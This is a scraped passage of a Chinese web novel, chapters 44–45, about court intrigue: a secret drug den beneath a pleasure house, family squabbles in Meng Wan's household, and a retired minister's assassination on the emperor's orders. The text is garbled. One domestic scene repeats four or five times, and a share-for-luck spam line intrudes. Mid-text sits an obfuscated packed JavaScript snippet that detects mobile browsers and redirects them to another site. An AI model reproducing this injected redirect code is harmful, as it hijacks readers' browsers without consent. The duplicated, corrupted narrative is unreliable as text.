金嬷嬷在宋家过了年之后也没提离开,一直在孟晚院里。他行事沉稳,正好帮孟晚带带孩子,还能给同是哥儿的阿寻作伴。 路途遥远,他们四人还是追上那拓等人,一同返回岭南才安全。 孟晚也没搞虚的,给楚辞带了两箱子金子做聘礼,他们四个要去追那拓他们,轻车简从。头面玉石这些东西只等两个孩子回京再给阿寻补上,免得来回来去的运送,既招贼又麻烦。 蚩羽将四人一直送出京郊,第二天才回来回禀。 “大人夫郎,京外还算太平,那拓他们又回来接应了一段, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 小辞他们不会有事的。” 孟晚眉间似有淡淡愁绪,他轻叹道:“小辞这会儿去岭南也好。” 宋亭舟被禁足在家,皇上说是要他在家反省,实际上顺天府一日也离不得人,府衙中的六个通判轮番上门请教公务。 今日轮到了吕粟,两人正在书房里谈论政务,孟晚端着一托盘的点心过来,“吕大人,聊了那么久饿了吧,要不要吃两块糕点垫垫?” 吕粟本来不饿,但见孟晚似乎隐秘的对宋亭舟打了个手势,便笑着接纳了。 “你先歇息一下,本官去去就来。”宋亭舟对吕粟说了一声,便和孟晚出了书房的门。 可能是有急事,也可能是宋亭舟惦记着书房未处理完的公务,两人并未离开太远,就在书房隔壁的房间密聊起来。 吕粟捏着手中精巧的糕点,脚步轻盈地挪到窗户旁边,看他的步伐之灵巧,竟似同雪生一般是位轻功、耳聪目明的高手。 孟晚将声音压得低低的,“吴家那边已经说好了,人托昭远送到了他伯父的手中。吴大人近来便要致仕返乡,正好将其带出盛京。” 宋亭舟声线不稳,似是在竭力按捺某种情绪,“不会出错?” “绝不会有人想到昭远和吴大人的关系,此举定是可行。” 第44章 引诱 盛京城不缺撒钱的地方,听香榭绝对是其中翘楚,自从上次宋亭舟整治过一场,听香榭的生意倒是萧条了不少。 祝泽宁下了衙后又约来几个同僚到听香榭吃酒,推杯换盏间人就醉了一大片。 祝泽宁也喝多了,恍恍惚惚想到还在昌平府府学读书的时候,和现在很像,一群人为了那顿酒钱围在他身边,他那时候还有少年人的心高气傲在身,懒得与那些虚与委蛇。 背的是李白的“仰天大笑出门去,我辈岂是蓬蒿人。” 咏的是杜甫的“翻手为云覆手雨,纷纷轻薄何须数。” 作为昌平府拔尖的秀才,年少得志,家中又是皇商,又岂是一个得意能形容的? 不像现在,沾了不该沾的东西,受了不该受的摆布。 “祝大人,请吧?”一位貌美女娘进了包厢,笑着请人。 祝泽宁踉踉跄跄的起身,随那女娘进了包厢内的被纱帘遮挡罗汉床上,那女娘往床上一滚,也不知道按动了什么机关,床铺底下突然露出一个黑漆漆的密道来。 木着脸提上床边的油灯,祝泽宁轻车熟路的进了密道,独留那个娇滴滴的女娘在床上把风。 密道只有一个正常体型的成年男子宽窄,祝泽宁这些年微胖了一点,肩膀和腰侧不时触碰到左右的墙体。 在微弱的灯光照应下,他一直向下走,在到一处拐角之前从怀中掏出个乌漆嘛黑的面具扣在脸上。 下一瞬走出转角,周围一切豁然开朗。 那是一个铺着青石板的空地,整个外围都是黑乎乎的墙壁,墙壁上有许多祝泽宁走出来时的密道,有人刚从其中出来,有人已经恭候多时。 空地上零零散散的摆放着桌椅,最中间的地方是一泉温热的活泉,泉中浸泡着几个不着寸缕的美人,有男有女,神色迷离。 越往里走越是烟雾缭绕,离得近了还能发现那一泉池水竟然不似寻常汤池,而是泛着淡淡的粉。 岸上同样有穿着清凉的美人端着托盘、呈上玉盘,盘中是一粒粒淡粉色的丹丸,比黄豆大不了多少的样子。 已经有好几个戴着面具的人迫不及待走过去索要丹丸,拿到之后便褪去衣物,搂着汤池中的美人开始寻欢作乐。 好似遮住了脸,便再也没有白日里冠冕堂皇的礼仪道德,和挂在嘴边的孔孟之道。 祝泽宁从进到这里,眼中便不如在上头时清明了,他随意找了个离汤池稍远的地方坐下,闭上浑浊的眼睛,手指乃至全身都在微微颤动。 端着丹丸的美人主动走过来询问:“大人,可否要食一粒鲛珠?” 祝泽宁身上抖动的更加厉害,鲛珠淡淡的清香和腥味交织在一起,迷惑了他的神志,他从牙缝里挤出一个“留”字。 待那美人将圆润可爱的丹丸放在他手心里,他便也如刚才那些人一般,迫不及待地吞进腹中。 颤抖变成舒爽的战栗,像是即将出笼的猛兽被安抚平息。 美人送出最后一粒丹丸,顺势坐在祝泽宁的腿上。 祝泽宁依旧闭着眼,口中却冷冷地喝了句:“滚!” 美人小声哼了一声,却也不敢开罪,灰溜溜地捧着托盘离开。 某间密道中,有两人正在注视祝泽宁。 “香雪在他那里碰了钉子,他一直不碰听香榭的人?”偃的声音依旧沙哑,像是这副嗓子也跟着他一起历经了百般磨难。 浮音嗤笑一声,“真正意志坚定的人不会到咱们这里,不过是装模作样罢了。” 她说着从怀中掏出一只香囊来,亲自走过去将香囊交给祝泽宁,姿态轻浮的说了些什么,只见祝泽宁果然面露挣扎。 浮音如同一个掌控人心的妖孽,挑拨着祝泽宁的良知和底线,最后祝泽宁还是把香囊收进了怀里。 浮音则一副无趣的姿态,回来找偃,“你看,我说的吧?” 偃的脸上冷冰冰的,“你和王爷学得很像,都是拿捏人心的高手,浮音,你……最近有没有替我去看看她?” 浮音像是早就知道他要问自己什么,颇为无奈的说:“听香榭现在被人盯得紧,别说是我,就是香雪她们也许久没有出门了,你既然来了盛京,何不亲自去看看你妹妹?” “等殿下顺利登基再说吧。”偃淡漠的眼底浮现出一丝伤痛感,随后消失无踪,又恢复了平常的淡漠之色。 “郭启秀我从项家人手里抢过来了,他儿子也拿捏在我们手里,人交给你,我也算是完成了王爷的命令。” 浮音对他的行动力向来钦佩,无论多麻烦的事,只要是偃出马,就没有办不成的。他本身明明并无功夫在身,只是行事有种不要命的疯劲儿,令人胆寒。 浮音朱唇轻启,“你和罗家打交道最多,罗家的嫡公子在贵妃娘娘面前夸下海口,说已经想到法子让皇上自己将人抓进宫中,是真是假?” 偃拧眉想了一会儿,也只是留下一句,“此人有古怪,看似蕴藏丘壑,奇思纷涌,私下又行为古怪,偶有奇言状语……”他也不知该如何形容。 “我派人暗处探查,若有异样,再将郭启秀抢回来便是。”郭启秀的作用很大,浮音想让廉王登基,自然不想让计划出现什么变动。 —— “夫郎,表少爷和舅太太过来了。”枝繁在外间轻声唤道。 “知道了。” 孟晚从床上坐起来,双目迷蒙,墨色长发柔顺的披上在肩头,让他绮丽的容貌都柔和了几分。 最近操心的事太多了,他接连几日都没睡好,这会儿头都有些隐隐作痛。 枝茂端了盆清水进来,看他脸色似乎不大好,担心的问:“夫郎,你是不是有哪儿不舒服啊?” 孟晚揉了揉抽痛的额角,“有些头痛,没什么大事,把水端到我床边来,我缓一会儿再换衣裳。” 枝茂把水端过去,又找了身平常孟晚爱在家穿的柔软长袍拜访在他身边。 孟晚就在床边洗漱,换好衣裳后人已经精神了许多,他从卧房走到堂屋,常舅母显然已经等候多时了,正和儿子说孟晚的闲话。 “长辈都等半天了还赖在炕头,谁家有这样的媳妇儿?” “也是当家做主的官老爷夫郎了,日上三竿还不起来,我听人家说那大户人家,都是早早起来到婆母身边伺候的。” “我看都是你大姑性子太软和,把他给惯着这样。” 孟晚本来就不大舒服,更烦听她絮絮叨叨没完没了的废话,“舅母是在说我吗?” 雨哥儿忙站起身来,“表嫂,我娘她都是胡说八道的,你别放在心里。” 雨哥儿忙用力扯扯母亲的袖子,心中也颇为窘迫,对于这样的母亲,他也无可奈何。 孟晚自顾自的坐在椅子上,“舅母住在家里,什么都在我娘那里拿取,月钱应当也没有什么用。” 他唤人:“枝茂,去告诉黄叶一声,往后不用给舅太太和表少爷准备月钱了。” 枝茂痛快的应了声,“欸,奴婢这就去!”他腰背挺得笔直,要不是 金嬷嬷调教过他们,这会儿他恨不得嘲笑这位舅太太一顿。 当真不知道这个家里谁做主了,还敢在夫郎面前拿捏舅母的谱儿? 哼! “你看你这孩子,舅母是拿你当自家人,才说你两句,你多心了不是?” 宋家的丫鬟小侍一个月的月钱都是好几两的银子,常舅母惦念许久了,这会儿忙又给孟晚说软和话。 孟晚却没有在常金花面前的时候对她多客气,“自舅母带表弟来我家是吃穿不愁,我家的钱也不是大风刮来的,既然舅母瞧不上我,何必向我讨要月钱呢?” 之前是看在常金花的面子上,按亲戚的礼数招待她们母子,这会儿孟晚明显不想让常舅母占这个便宜了,“舅母有话还是直说吧。” 常舅母脸色不好看,还想再和孟晚说说月银的事儿,但想起家里的一些糟烂事,还是转着眼珠子改了口风,“晚哥儿啊,舅母听说大郎在京城的官可大了,能定人生死,让谁活谁就活,让谁死谁就死。” 枝繁端了早膳过来给孟晚用,孟晚刚喝了一口豆浆就嗤笑出声,“你听谁说的?掌控人生死的是当今皇上,这种话要是说到外面去,保管陛下让我们全家掉脑袋你信不信?不光我们,你们和雨哥儿也逃不掉。” 雨哥儿吓得小脸煞白,“这么严重。”他忙摇晃着常舅母的胳膊,“娘你听到表嫂的话了没有,你在外管管你的嘴,别给表哥他们添麻烦!” 常舅母甩开他的胳膊,“我是傻的不成,还不知道在外不能说?” 她又问孟晚,“那……那真要是宋家族里那边出了什么事,大郎还能不管?”她假装语气放松,实则眼睛一直在瞥向孟晚的反应。 孟晚夹了个包子,漫不经心的说:“寻常小事当地官府应该会给我夫君一个颜面,真要是**放火的大事,我夫君定然会大公无私,该****,该绞杀绞杀,总活不过秋天。” “嗬……”常舅母抽了一口气,一下子跌坐到椅子上。 孟晚察觉不对,他咽下口中的包子,狐疑道:“舅母,你这是怎么了?” 常舅母左顾右盼佯装打量孟晚屋子里的东西,“没事,我就是昨天夜里没睡好觉。晚哥儿,你说你干儿子找的那是什么亲事,怎么没找那些大户人家的女娘啊?” 她有意岔开话题,反倒是雨哥儿一听这话支起了耳朵。 孟晚没什么胃口,吃了一个小肉包之后,把自己剩下的半碗粥喝了就放下碗筷,“两个孩子从小一起长大,情谊深厚,家世不算什么。” 雨哥儿听着心里羡慕,要是他往后的婆母有表嫂这么开明就好了,越是乡下穷地方,那些上了年纪的婆婆越是能摆谱。 他拿手指戳了下自己母亲。 常舅母心中一团乱麻,差点把答应他的事给忘了,这会儿也有点不是心思,“晚哥儿啊,你看雨哥儿今年也十六了,乡下地方没有好人家,不若你在盛京给他踅摸一个?” 常家以前是怎么欺负幼年宋亭舟的,孟晚可没忘过,如今看在常金花的面子上招待他们已经不错了,还想着他给保媒? 孟晚理了理袖子上的褶皱,“舅母想给雨哥儿找个什么样的?” 常舅母打起了一点精神,“我听人说城里有什么侯爷伯爷的,找个那样的人家你看成不成?” 她说完怕孟晚不答应,还吹捧了一句,“大郎现在那么大的官,他表弟找人家,还不有的是人上杆子保媒?” 她说得其实真不算痴心妄想,姻亲关系很重要,这个时候只要提一句我大伯是哪儿的知府,我二舅是哪里的大人,别人忌惮之下其实是会给几分薄面的。 按照正理来看,雨哥儿借着宋亭舟的名头,嫁到盛京还真不是梦。虽然够不到伯爵府,但是普通的六七品的小官也能嫁。 孟晚看向雨哥儿,“想嫁到盛京?” 雨哥儿对上他的双眼,总觉得自己心里那点小心思都被看透了似的,他慌忙垂下头,过了一会儿才几不可闻的“嗯”了一声。 孟晚轻笑一声,从八宝匣里抽出一沓请帖给他,“做媒这种事我不会,不过我手上有不少京中内眷送过来的帖子,最近我也不便出门,雨哥儿可以出去见识见识。” 雨哥儿双目倏然清亮起来,他接过帖子道:“谢谢表嫂,我出去不会乱说话的。” 打发走了他们母子二人,枝繁一边往下撤孟晚吃剩的早食,一边忍不住问道:“夫郎,就这样让表少爷自己去行吗?” 孟晚站起来打算去找宋亭舟,“行,怎么不行?他想嫁就成全他好了,左右都是他自己的选择。” 一个没经过调教的寻常小哥儿,又有那样鄙陋的母亲,在盛京可不是那么好混的。 宋亭舟在前院锻身,孟晚就在亭子里看他,看着看着就觉得嗓子也不大舒服,他暗道一声糟糕,八成是感冒风寒了。 生病不是小事,拖严重了怕引起旁的什么病症,楚辞和阿寻都不在家,孟晚打算叫桂谦去外头请郎中。 “怎么了?不舒服?”宋亭舟带着额头潮湿的汗意回头,见孟晚脸色不好,忙上前询问。 孟晚不是个逞强的人,他扶着额头,“头有点疼,嗓子也有点不舒服。” 宋亭舟顿时紧张起来,“我这就叫人请郎中。” 他们家附近就有一家医馆,桂谦把郎中请家里来为孟晚诊治了一番,幸而只是普通风寒,并无大碍。开了张药方子吩咐抓药,便又被桂诚送了出去。 孟晚没什么胃口,吃了一个小肉包之后,把自己剩下的半碗粥喝了就放下碗筷,“两个孩子从小一起长大,情谊深厚,家世不算什么。” 雨哥儿听着心里羡慕,要是他往后的婆母有表嫂这么开明就好了,越是乡下穷地方,那些上了年纪的婆婆越是能摆谱。 他拿手指戳了下自己母亲。 常舅母心中一团乱麻,差点把答应他的事给忘了,这会儿也有点不是心思,“晚哥儿啊,你看雨哥儿今年也十六了,乡下地方没有好人家,不若你在盛京给他踅摸一个?” 常家以前是怎么欺负幼年宋亭舟的,孟晚可没忘过,如今看在常金花的面子上招待他们已经不错了,还想着他给保媒? 孟晚理了理袖子上的褶皱,“舅母想给雨哥儿找个什么样的?” 常舅母打起了一点精神,“我听人说城里有什么侯爷伯爷的,找个那样的人家你看成不成?” 她说完怕孟晚不答应,还吹捧了一句,“大郎现在那么大的官,他表弟找人家,还不有的是人上杆子保媒?” 她说得其实真不算痴心妄想,姻亲关系很重要,这个时候只要提一句我大伯是哪儿的知府,我二舅是哪里的大人,别人忌惮之下其实是会给几分薄面的。 按照正理来看,雨哥儿借着宋亭舟的名头,嫁到盛京还真不是梦。虽然够不到伯爵府,但是普通的六七品的小官也能嫁。 孟晚看向雨哥儿,“想嫁到盛京?” 雨哥儿对上他的双眼,总觉得自己心里那点小心思都被看透了似的,他慌忙垂下头,过了一会儿才几不可闻的“嗯”了一声。 孟晚轻笑一声,从八宝匣里抽出一沓请帖给他,“做媒这种事我不会,不过我手上有不少京中内眷送过来的帖子,最近我也不便出门,雨哥儿可以出去见识见识。” 雨哥儿双目倏然清亮起来,他接过帖子道:“谢谢表嫂,我出去不会乱说话的。” 打发走了他们母子二人,枝繁一边往下撤孟晚吃剩的早食,一边忍不住问道:“夫郎,就这样让表少爷自己去行吗?” 孟晚站起来打算去找宋亭舟,“行,怎么不行?他想嫁就成全他好了,左右都是他自己的选择。” 一个没经过调教的寻常小哥儿,又有那样鄙陋的母亲,在盛京可不是那么好混的。 宋亭舟在前院锻身,孟晚就在亭子里看他,看着看着就觉得嗓子也不大舒服,他暗道一声糟糕,八成是感冒风寒了。 生病不是小事,拖严重了怕引起旁的什么病症,楚辞和阿寻都不在家,孟晚打算叫桂谦去外头请郎中。 “怎么了?不舒服?”宋亭舟带着额头潮湿的汗意回头,见孟晚脸色不好,忙上前询问。 孟晚不是个逞强的人,他扶着额头,“头有点疼,嗓子也有点不舒服。” 宋亭舟顿时紧张起来,“我这就叫人请郎中。” 他们家附近就有一家医馆,桂谦把郎中请家里来为孟晚诊治了一番,幸而只是普通风寒,并无大碍。开了张药方子吩咐抓药,便又被桂诚送了出去。 孟晚没什么胃口,吃了一个小肉包之后,把自己剩下的半碗粥喝了就放下碗筷,“两个孩子从小一起长大,情谊深厚,家世不算什么。” 雨哥儿听着心里羡慕,要是他往后的婆母有表嫂这么开明就好了,越是乡下穷地方,那些上了年纪的婆婆越是能摆谱。 他拿手指戳了下自己母亲。 常舅母心中一团乱麻,差点把答应他的事给忘了,这会儿也有点不是心思,“晚哥儿啊,你看雨哥儿今年也十六了,乡下地方没有好人家,不若你在盛京给他踅摸一个?” 常家以前是怎么欺负幼年宋亭舟的,孟晚可没忘过,如今看在常金花的面子上招待他们已经不错了,还想着他给保媒? 孟晚理了理袖子上的褶皱,“舅母想给雨哥儿找个什么样的?” 常舅母打起了一点精神,“我听人说城里有什么侯爷伯爷的,找个那样的人家你看成不成?” 她说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563425|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完怕孟晚不答应,还吹捧了一句,“大郎现在那么大的官,他表弟找人家,还不有的是人上杆子保媒?” 她说得其实真不算痴心妄想,姻亲关系很重要,这个时候只要提一句我大伯是哪儿的知府,我二舅是哪里的大人,别人忌惮之下其实是会给几分薄面的。 按照正理来看,雨哥儿借着宋亭舟的名头,嫁到盛京还真不是梦。虽然够不到伯爵府,但是普通的六七品的小官也能嫁。 孟晚看向雨哥儿,“想嫁到盛京?” 雨哥儿对上他的双眼,总觉得自己心里那点小心思都被看透了似的,他慌忙垂下头,过了一会儿才几不可闻的“嗯”了一声。 孟晚轻笑一声,从八宝匣里抽出一沓请帖给他,“做媒这种事我不会,不过我手上有不少京中内眷送过来的帖子,最近我也不便出门,雨哥儿可以出去见识见识。” 雨哥儿双目倏然清亮起来,他接过帖子道:“谢谢表嫂,我出去不会乱说话的。” 打发走了他们母子二人,枝繁一边往下撤孟晚吃剩的早食,一边忍不住问道:“夫郎,就这样让表少爷自己去行吗?” 孟晚站起来打算去找宋亭舟,“行,怎么不行?他想嫁就成全他好了,左右都是他自己的选择。” 一个没经过调教的寻常小哥儿,又有那样鄙陋的母亲,在盛京可不是那么好混的。 宋亭舟在前院锻身,孟晚就在亭子里看他,看着看着就觉得嗓子也不大舒服,他暗道一声糟糕,八成是感冒风寒了。 生病不是小事,拖严重了怕引起旁的什么病症,楚辞和阿寻都不在家,孟晚打算叫桂谦去外头请郎中。 “怎么了?不舒服?”宋亭舟带着额头潮湿的汗意回头,见孟晚脸色不好,忙上前询问。 孟晚不是个逞强的人,他扶着额头,“头有点疼,嗓子也有点不舒服。” 宋亭舟顿时紧张起来,“我这就叫人请郎中。” 他们家附近就有一家医馆,桂谦把郎中请家里来为孟晚诊治了一番,幸而只是普通风寒,并无大碍。开了张药方子吩咐抓药,便又被桂诚送了出去。 孟晚没什么胃口,吃了一个小肉包之后,把自己剩下的半碗粥喝了就放下碗筷,“两个孩子从小一起长大,情谊深厚,家世不算什么。” 雨哥儿听着心里羡慕,要是他往后的婆母有表嫂这么开明就好了,越是乡下穷地方,那些上了年纪的婆婆越是能摆谱。 他拿手指戳了下自己母亲。 常舅母心中一团乱麻,差点把答应他的事给忘了,这会儿也有点不是心思,“晚哥儿啊,你看雨哥儿今年也十六了,乡下地方没有好人家,不若你在盛京给他踅摸一个?” 常家以前是怎么欺负幼年宋亭舟的,孟晚可没忘过,如今看在常金花的面子上招待他们已经不错了,还想着他给保媒? 孟晚理了理袖子上的褶皱,“舅母想给雨哥儿找个什么样的?” 常舅母打起了一点精神,“我听人说城里有什么侯爷伯爷的,找个那样的人家你看成不成?” 她说完怕孟晚不答应,还吹捧了一句,“大郎现在那么大的官,他表弟找人家,还不有的是人上杆子保媒?” 她说得其实真不算痴心妄想,姻亲关系很重要,这个时候只要提一句我大伯是哪儿的知府,我二舅是哪里的大人,别人忌惮之下其实是会给几分薄面的。 按照正理来看,雨哥儿借着宋亭舟的名头,嫁到盛京还真不是梦。虽然够不到伯爵府,但是普通的六七品的小官也能嫁。 孟晚看向雨哥儿,“想嫁到盛京?” 雨哥儿对上他的双眼,总觉得自己心里那点小心思都被看透了似的,他慌忙垂下头,过了一会儿才几不可闻的“嗯”了一声。 孟晚轻笑一声,从八宝匣里抽出一沓请帖给他,“做媒这种事我不会,不过我手上有不少京中内眷送过来的帖子,最近我也不便出门,雨哥儿可以出去见识见识。” 雨哥儿双目倏然清亮起来,他接过帖子道:“谢谢表嫂,我出去不会乱说话的。” 打发走了他们母子二人,枝繁一边往下撤孟晚吃剩的早食,一边忍不住问道:“夫郎,就这样让表少爷自己去行吗?” 孟晚站起来打算去找宋亭舟,“行,怎么不行?他想嫁就成全他好了,左右都是他自己的选择。” 一个没经过调教的寻常小哥儿,又有那样鄙陋的母亲,在盛京可不是那么好混的。 宋亭舟在前院锻身,孟晚就在亭子里看他,看着看着就觉得嗓子也不大舒服,他暗道一声糟糕,八成是感冒风寒了。 生病不是小事,拖严重了怕引起旁的什么病症,楚辞和阿寻都不在家,孟晚打算叫桂谦去外头请郎中。 “怎么了?不舒服?”宋亭舟带着额头潮湿的汗意回头,见孟晚脸色不好,忙上前询问。 孟晚不是个逞强的人,他扶着额头,“头有点疼,嗓子也有点不舒服。” 宋亭舟顿时紧张起来,“我这就叫人请郎中。” 他们家附近就有一家医馆,桂谦把郎中请家里来为孟晚诊治了一番,幸而只是普通风寒,并无大碍。开了张药方子吩咐抓药,便又被桂诚送了出去。 孟晚没什么胃口,吃了一个小肉包之后,把自己剩下的半碗粥喝了就放下碗筷,“两个孩子从小一起长大,情谊深厚,家世不算什么。” 雨哥儿听着心里羡慕,要是他往后的婆母有表嫂这么开明就好了,越是乡下穷地方,那些上了年纪的婆婆越是能摆谱。 他拿手指戳了下自己母亲。 常舅母心中一团乱麻,差点把答应他的事给忘了,这会儿也有点不是心思,“晚哥儿啊,你看雨哥儿今年也十六了,乡下地方没有好人家,不若你在盛京给他踅摸一个?” 常家以前是怎么欺负幼年宋亭舟的,孟晚可没忘过,如今看在常金花的面子上招待他们已经不错了,还想着他给保媒? 孟晚理了理袖子上的褶皱,“舅母想给雨哥儿找个什么样的?” 常舅母打起了一点精神,“我听人说城里有什么侯爷伯爷的,找个那样的人家你看成不成?” 她说完怕孟晚不答应,还吹捧了一句,“大郎现在那么大的官,他表弟找人家,还不有的是人上杆子保媒?” 她说得其实真不算痴心妄想,姻亲关系很重要,这个时候只要提一句我大伯是哪儿的知府,我二舅是哪里的大人,别人忌惮之下其实是会给几分薄面的。 按照正理来看,雨哥儿借着宋亭舟的名头,嫁到盛京还真不是梦。虽然够不到伯爵府,但是普通的六七品的小官也能嫁。 孟晚看向雨哥儿,“想嫁到盛京?” 雨哥儿对上他的双眼,总觉得自己心里那点小心思都被看透了似的,他慌忙垂下头,过了一会儿才几不可闻的“嗯”了一声。 孟晚轻笑一声,从八宝匣里抽出一沓请帖给他,“做媒这种事我不会,不过我手上有不少京中内眷送过来的帖子,最近我也不便出门,雨哥儿可以出去见识见识。” 雨哥儿双目倏然清亮起来,他接过帖子道:“谢谢表嫂,我出去不会乱说话的。” 打发走了他们母子二人,枝繁一边往下撤孟晚吃剩的早食,一边忍不住问道:“夫郎,就这样让表少爷自己去行吗?” 孟晚站起来打算去找宋亭舟,“行,怎么不行?他想嫁就成全他好了,左右都是他自己的选择。” 一个没经过调教的寻常小哥儿,又有那样鄙陋的母亲,在盛京可不是那么好混的。 宋亭舟在前院锻身,孟晚就在亭子里看他,看着看着就觉得嗓子也不大舒服,他暗道一声糟糕,八成是感冒风寒了。 生病不是小事,拖严重了怕引起旁的什么病症,楚辞和阿寻都不在家,孟晚打算叫桂谦去外头请郎中。 “怎么了?不舒服?”宋亭舟带着额头潮湿的汗意回头,见孟晚脸色不好,忙上前询问。 孟晚不是个逞强的人,他扶着额头,“头有点疼,嗓子也有点不舒服。” 宋亭舟顿时紧张起来,“我这就叫人请郎中。” 他们家附近就有一家医馆,桂谦把郎中请家里来为孟晚诊治了一番,幸而只是普通风寒,并无大碍。开了张药方子吩咐抓药,便又被桂诚送了出去。 第45章 吴巍之死 从年后正旦宴之后,吴巍便提过一次告老还乡,当时皇上还挽留一二,算是给老臣个颜面,后来吴巍又提,便直接应允了。 吴千嶂因为**一事进过大理寺一场,哪怕后来吴巍豁出老脸将他捞出来,此生也晋升无望, 吴家大宅落了锁,吴家的内眷早已先行一步回了老家,吴家祖宅还在,众多族人还在。 作为北方豪族之首的鹤栖吴氏,哪怕一时落寞。但在北地的威望仍在,钱、田、学识,都在,避过这段风头一样可以东山再起,这就是世家的底蕴。 “走吧。”吴巍坐在马车上撂下了帘子,曾经在朝堂上炙手可热的一代权臣,如今也不过是个奔赴故乡的寻常老者而已。 吴家的五辆马车出了城门之后明显快了几分,吴巍车驾上赶车的男人目光也开始锐利起来。 除此之外吴巍身前身后共拥着六个二品高手,随便哪个放出去都是江湖上的好手。 孟晚和宋亭舟家里也不过就一个蚩羽是二品高手,雪生这些年也勉强挤进了二品之列,吴巍竟然能一口气集齐六个护他周全。 可惜……他们钻进偏僻小路的时候,前方已经有一道窈窕的身影,带着六个蒙着面的男男女女候在那里了。 一品高手和二品高手的差距,可以用霄壤之别来形容,葛全这些年越来越强,已经是一品之中的顶流,而面前这个女人,应当也不遑多让,再加上还有六个同样是二品的高手助阵。 不到一炷香的时间,吴巍身边的六个二品高手便被女**逐个用软剑封喉,血没有喷洒太远,顺着他们的身体往下流,很快就将嫩绿的草叶染红。 掀开车帘,吴巍面色十分平静。 “可否告知老夫你主家是谁,也好叫我死个明白。” 女**等着手下解决完最后一人,亲自提剑靠近吴巍,半点没有开口的意思。 但随着她的靠近,吴巍已然看到她那把烙印着龙纹的剑柄。 吴巍抓着车帘的手开始抖动,瞳孔骤然收缩,面如死灰一般。他惨然一笑,“陛下啊陛下,臣为您卖命几十余载,你竟连臣的一条老命都不放过吗?” 可惜没人会来这里听他的临终哀泣,女**冷似冰俑,一剑直指他咽喉,确认人断了气后才收回自己的剑。 有人将五花大绑的郭启秀从车上拽了出来,“大人,人 找到了,就在最后一辆马车中。” “带回去,给陛下复命。” 郭启秀来历神秘,绝不是当初那个唐姓富商的儿时玩伴那样简单,因为他本就不叫郭启秀,而是…… “文……承煜?” “不可能!怎么可能!” 皇上看着面前昏迷的人,心中翻起一阵惊涛骇浪。 文承煜早就**几十年了,自己亲眼看他被葬入太子峪。而且就算他没死,也比自己大上十几岁,怎么可能这么年轻? 难道是他的后代? 皇上围着郭启秀转了一圈,“郑瑞,将地上那人衣裤褪下,看看腰上是否有刀伤留下的长疤。” “奴才遵旨。” 郑瑞将手上的拂尘递给身边的小太监,亲自蹲在地上撕扯郭启秀的衣裳。他手劲儿出奇的大,两三下就把毫无知觉的人腰上的衣物扯开。 其上正有一道陈年旧伤! 皇上双目欲裂,血丝刹那间布满眼球,“不可能!郑瑞,去将国师请来!” 头发半黑半白的道人早已等候多时,他长得并非传统道士那样一脸慈祥,仙风道骨。而是两侧眉骨高高凸起,眼窝深邃,鼻峰上有很明显的驼峰,藏着一股子邪性。 他携着小童入殿时,身边的小道童下意识就朝地面上看了去,触及郭启秀人事不知的脸,眼中闪过某些情绪,这一幕正被郑瑞看了个正着。 “小仙师可是认得那人?” 郑瑞这句话将帝王的心思也吸引过来,那双虽然已经布满褶皱,却依然充斥着上位者不怒自威的眼睛定在了小道童的身上。让那个分了心的小道童不自觉地缩在了国师身后。 “陛下,此人是?”道士适时出口,挡住了皇上的视线。 皇上收回睥睨的目光,将心思放在要紧事上,但刚才这个小插曲对于一个生性多疑的帝王来说,已经足够将这个小道童和疑似自己皇长兄的男人联合到一起了。 他对心腹太监郑瑞淡淡地睨了一眼,郑瑞便立即心领会神,他退出殿内的时候步子很慢,隐隐能听到里面上位者将信将疑的声音,和道士恭敬的回应。 “常人怎可死而复生?” “回陛下,人死不可复生,但若想假死则有诸多法子。” “哦?” “蓬 莱有仙丹,其丹紫金裹瑞,常人服之,或可延龄增寿。此人若真是陛下故人,可能是服用过什么灵丹妙药。” “延龄增寿?与你炼制的赤霞丹比呢?” “贫道炼制的“赤霞丹”只是依陛下交给臣的丹药炼制,药性温和,适合长期服用,只能消疴去秽,并无延寿之能。” “蚩峟道长过谦了。” 最后一句能听出皇上对国师的器重和认可。 郑瑞心想:廉王这边倒是找了个能人来,皇上最近确实脸色不错,人也精神许多,沉疴难支的身体突然轻盈起来,是所有将行将木之人都抵挡不住的诱惑。 当然,他进宫的时机更好,但凡陛下再年轻几岁,都不会信这道士的妖言惑众。 事到如今,廉王那边只差一步,便能顺理成章的登基。 可惜了,对手是更其高一筹的太子殿下。 尚宝监掌印太监过来,与郑瑞打了个照面。 “郑公公,怎么有空在外闲着?” 郑瑞笑了,“国师大人在殿里,陛下暂且用不到伺候的人。咱家老了不中用了,不比李公公正好年华。” “郑公公说笑了,陛下身边可离不得您呢。” 实际李公公也已经四十多岁了,只不过这群宫里的大太监都保养的年轻,李公公瞧着确实精神。 郑瑞不经意间提到,“咱家听说李公公的干亲如今在岭南养老?还做了什么书院先生?真是好啊,也不知道咱们还能不能出宫见识一番。” 李公公谦虚的笑了,“她老人家劳碌了大半辈子,喜欢折腾些什么就随她折腾吧,等再过两年,还是要接到盛京来给她养老的。” 郑瑞很欣赏他,“不错,你是个孝顺孩子。” 两人东拉西扯的闲聊了几句,看似什么都没说,又像是什么都说了。 宫里的消息就这么神不知鬼不觉的,传到了居家自省的宋亭舟耳中。 郎中将药方亲自递给宋亭舟,“大人,就按此方给令夫郎抓药,保管药到病除。” “劳累了。” 宋亭舟递上诊金,亲自将郎中送出门外感谢了一番。 头次出去赴宴的雨哥儿乘了马车回来,强颜欢笑般对还没进去的宋亭舟打了个招呼,“表哥安好。” 宋亭舟记挂着 孟晚,也没空管他那些小儿姿态,淡淡地“嗯”了一声,便大步离开。 黄叶为了防止雨哥儿在外会惹出什么祸端,亲自带着两个小侍随他出门,一进门房听桂诚说了孟晚生病的事,忙抛下雨哥儿急匆匆的过去看孟晚。 雨哥儿撇着嘴,一直强忍着,等到了后院就忍不住大哭起来。可惜常金花也不在,后院的人这会儿都在正院探望孟晚去了。 “雨哥儿,怎么了这是?有人打你还是骂你?”常舅母气孟晚不给她月钱的事儿,还有某些烦心事,今天一直在炕上窝着。 